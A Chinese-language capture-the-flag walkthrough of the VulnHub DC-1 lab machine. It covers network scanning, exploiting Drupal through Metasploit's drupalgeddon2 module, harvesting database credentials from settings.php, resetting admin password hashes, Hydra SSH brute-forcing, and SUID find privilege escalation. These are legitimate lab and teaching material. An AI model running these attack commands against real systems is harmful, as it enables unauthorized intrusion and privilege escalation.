目录
一. 环境搭建
1. 准备工具
渗透利器kali
DC-1靶场机
2. 安装过程
二. 渗透过程
1. 信息收集
①探测目标IP地址
②探测目标IP开放端口
③网页信息收集
2. 漏洞查找与利用
①漏洞查找
②漏洞利用
3. Getshell
①获取普通shell
②获取交互shell
3. 数据库渗透
4. 用户密码爆破
5. Linux提权
三. 收获总结
1. 主机扫描
2. 域名信息收集
3. CMS漏洞找查及利用
4. Getshell
5. Linux特性及相关命令
6. 密码爆破与SSH
7. Linux系统的SUID提权
一. 环境搭建
1. 准备工具
渗透利器kali
可参考下面文章进行安装
Kali虚拟机安装,设置中文等详细教程,Linux最新免镜像版
DC-1靶场机
官网下载 https://download.vulnhub.com/dc/DC-1.zip
2. 安装过程
解压后得到个.ova文件
用vm虚拟机打开该文件
设置好相关操作
提示导入失败,不过没有关系点重试就好,导入完成后,打开DC-1虚拟机并等待,过程中别点进虚拟机里面
出现这个界面就表示开启成功 (渗透完得到密码就能登入啦),然后再更改kali的网络连接模式为桥接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机,当然也可以设置为net,但必须DC-1靶机也设为net,不懂桥接模式的小伙伴建议参考
“桥接”和“NAT”方式区别 - 知乎 (zhihu.com)
二. 渗透过程
这一过程需要用到kali,打开我们的渗透利器kali(root模式下)
1. 信息收集
①探测目标IP地址
探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover
- arp-scan
arp-scan -l
该命令是探测当前网段的所有ip地址
然后我们看一下DC靶机的Mac地址
确定了DC主机的IP地址为
192.168.120.128
- nmap
先看一下kali的ip地址
ifconfig
再用nmap
nmap -sP 192.168.120.0/24
ip后面改为了0/24, 在这里“192.168.120.0/24”表示的是这个网段的IP地址从从192.168.120.1开始,到192.168.120.254结束(192.168.120.0和192.168.120.255有特殊含义不能当做ip地址);子网掩码是255.255.255.0
一样扫出了ip
- netdiscover
netdiscover
②探测目标IP开放端口
用nmap来探测
nmap -sV -p- 192.168.120.128
-sV 扫描目标主机端口上运行的软件信息
-p- 扫描全部端口0-65535
20和80端口是我们的突破口,80是http协议,我们用浏览器访问一下看看
③网页信息收集
利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal
当然也可以用kali自带的工具whatweb扫
黑客工具之whatweb详细使用教程 - 知乎 (zhihu.com)
whatweb -v 192.168.120.128
也能扫出CMS,然后再用dirsearch工具扫一下目录 ,命令
dirsearch -u 192.168.120.128 -e *
还是扫出了挺多目录的,但是暂时用不到,先放一放
得到如下信息
CMS是Drupal
Apache 2.2.22PHP 5.4.45
jQuery 1.4.4
2. 漏洞查找与利用
知道cms,我们一般从cms出发找漏洞,百度一下drupal漏洞
果然有框架漏洞
①漏洞查找
用工具Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一),找一下漏洞,先打开工具
msfconsole
然后输入命令
search Drupal
可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞
②漏洞利用
利用18年那个漏洞
use exploit/unix/webapp/drupal_drupalgeddon2
接着看一下该漏洞模块参数
show options
Current Setting是目前设置的内容
Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
就上面来说RHOSTS需要set,但是没有内容
所以接着我们来设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)
set RHOSTS 192.168.120.128
然后再show一下模块参数
设置好参数后开始攻击
exploit
exploit和run是一样的,用run也可以
出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell
3. Getshell
①获取普通shell
shell
获取一下普通的shell
然后执行ls命令
②获取交互shell
这样看起来有点那啥,不过我们可以利用python实现互交shell,这样就好看一点,使用的前提是攻击主机上必须装有python
python -c 'import pty; pty.spawn("/bin/bash")'
可以看到这个shell的权限只是普通权限,还不是root,不过还能看看文件啦,先看一下发现的flag1.txt文件
tac flag1.txt
查看一下flag1.txt文件
每个好的CMS都需要一个配置文件,你也一样,emmm,这个先放着,看看还有没有其他flag文件
find / -name flag*
好吧,就只有一个flag文件,根据之前的提示看一下配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行
cat `find / -name settings.php`
这里我们找到了flag2(好像不重要的样子),还意外收获了一个数据库,给了账号密码,先登一下看看
3. 数据库渗透
由上面得到的账号密码登入
mysql -udbuser -pR0ck3t
登进去了,这样我们就可以为所欲为修改数据库了,先看看有啥东西
show datebases;
接着使用改数据库,并查看表
use drupaldb;show tables;
注意到users这个表,看一下有啥,先改小一点字体,不然可能会挤爆不美观
select * from users;
得到两个用户
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
密码好复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个admin
参考:分享:忘记Drupal的管理员密码的解决办法 | Drupal China
法一:修改admin密码
我们得先找到加密文件,Drupal的加密脚本在
/var/www/scripts/password-hash.sh
目录下,我们先退出mysql
exit;
打开加密脚本
cat /var/www/scripts/password-hash.sh
这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456
php /var/www/scripts/password-hash.sh 123456
得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码
mysql -udbuser -pR0ck3t
use drupaldb;update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';
密码修改成功
法二:添加admin权限用户
drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具
searchsploit drupal
然后看一下那个脚本path
searchsploit 34992.py -p
可以通过URL下载脚本使用,这里就不多展示了,接着我们用修改好的密码登入
登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件
/etc/passwd
该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读
Linux /etc/passwd内容解释(超详细)
/etc/shadow
该文件存储了系统用户的密码等信息,只有root权限用户才能读取
Linux /etc/shadow(影子文件)内容解析(超详细)
接着我们查看一下用户信息
tac /etc/passwd
可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码
4. 用户密码爆破
事先参考SSH
SSH简介及两种远程登录的方法_Jack LDZ的博客-CSDN博客_ssh
利用工具Hydra爆破flag4的密码
(总结)Linux下的暴力密码在线破解工具Hydra详解
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.120.128
爆破出密码orange,然后我们用kali连接
ssh flag4@192.168.120.128
@192.168.120.128
@目标主机地址
输入orange登入
打开了flag4.txt,emmm其实好像也没啥
5. Linux提权
需要用到SUID提权,参考
简谈SUID提权 - FreeBuf网络安全行业门户
利用find命令,找查具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
find比较常用,可以执行root权限的命令找查文件,
find / -name index.php -exec "/bin/sh" \;
找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上
-exec "/bin/sh" \;
#!/bin/sh简介 - feng..liu - 博客园 (cnblogs.com)
可以看到已经提权成功了,接下来我们只要找到剩下的flag文件就算通关啦
cd /root
ls
cat *
拿到第五个flag啦!
三. 收获总结
1. 主机扫描
- nmap
nmap -sP 网段
Nmap命令详解
- arp-scan
arp-scan -l
arp-scan命令及ARP含义解释
- netdiscover
netdiscover
Netdiscover网络扫描工具
2. 域名信息收集
- whatweb
whatweb -v 域名
whatweb详细使用教程
- 火绒扩展wappalyzer
- dirsearch
dirsearch -u 域名
目录扫描工具 dirsearch 中文手册
3. CMS漏洞找查及利用
- Metasploit
先打开MSF控制台
msfconsole
搜索CMS漏洞
search cms名
使用模块
use 漏洞模块名
显示模块参数(一般只需要设置攻击目标IP地址)
show options
设置模块参数
set 模块参数名 参数值
开始攻击
run(或exploit)
metasploit渗透测试入门
4. Getshell
使用MSF攻击等待主机与目标连接完成后
metasploit获取shell之后的进一步利用
通常情况下直接进入shell
shell
获取交互shell(需对方主机安装有python)
python -c 'import pty;pty.spawn("/bin/bash")'
5. Linux特性及相关命令
查看权限(root为最高权限,其他为普通用户)
whoami
文件特性passwd与shadow
/etc/passwd
存储有用户的基本信息,如用户名、用户ID等,所有用户均可访问
Linux /etc/passwd内容解释(超详细)
/etc/shadow
存储有用户的密码等信息,需要root用户才能访问
Linux /etc/shadow(影子文件)内容解析(超详细)
6. 密码爆破与SSH
爆破工具Hydra
黑客工具之hydra详细使用教程
以爆破SSH为例
hydra -l 指定用户名 -p 指定密码 ssh://目标主机
hydra -L 用户字典 -P 密码字典 ssh://目标主机
爆破完后我们可以用kali登入
ssh 用户名@目标攻击主机
SSH简介及两种远程登录的方法
7. Linux系统的SUID提权
简谈SUID提权
先找到含有SUID权限的二进制文件
find / -user root -perm -4000 -print 2>/dev/null
这句命令的意思是找到SUID权限的二进制文件,将错误的垃圾信息过滤
find / -perm -4000 2>/dev/null 拆分讲解
再选择相关命令进行提权,以find为例(用得最多)
先ls查看当前目录文件,假设有文件x.ab,利用共有suid权限的find搭配exec进行提权
find / -name x.ab -exec "/bin/sh" \;